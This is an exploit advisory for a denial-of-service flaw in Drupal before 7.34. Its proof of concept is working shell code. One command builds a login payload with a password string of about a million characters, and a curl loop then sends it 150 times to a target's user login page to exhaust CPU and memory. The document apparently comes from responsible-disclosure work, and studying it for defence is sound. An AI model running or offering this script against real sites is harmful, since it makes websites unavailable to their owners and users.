Drupal < 7.34 - Denial of Service
==================================================================== DESCRIPTION: ==================================================================== A vulnerability present in Drupal < 7.34 allows an attacker to send specially crafted requests resulting in CPU and memory exhaustion. This may lead to the site becoming unavailable or unresponsive (denial of service). ==================================================================== Time Line: ==================================================================== November 19, 2014 - A Drupal security update and the security advisory is published. ==================================================================== Proof of Concept: ==================================================================== Generate a pyaload and try with a valid user: echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload Perform a Dos with a valid user: for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.5; done ==================================================================== Authors: ==================================================================== -- Javer Nieto -- http://www.behindthefirewalls.com -- Andres Rojas -- http://www.devconsole.info ==================================================================== References: ==================================================================== * https://wordpress.org/news/2014/11/wordpress-4-0-1/ * https://www.drupal.org/SA-CORE-2014-006 * http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html * http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html * http://www.devconsole.info/?p=1050 |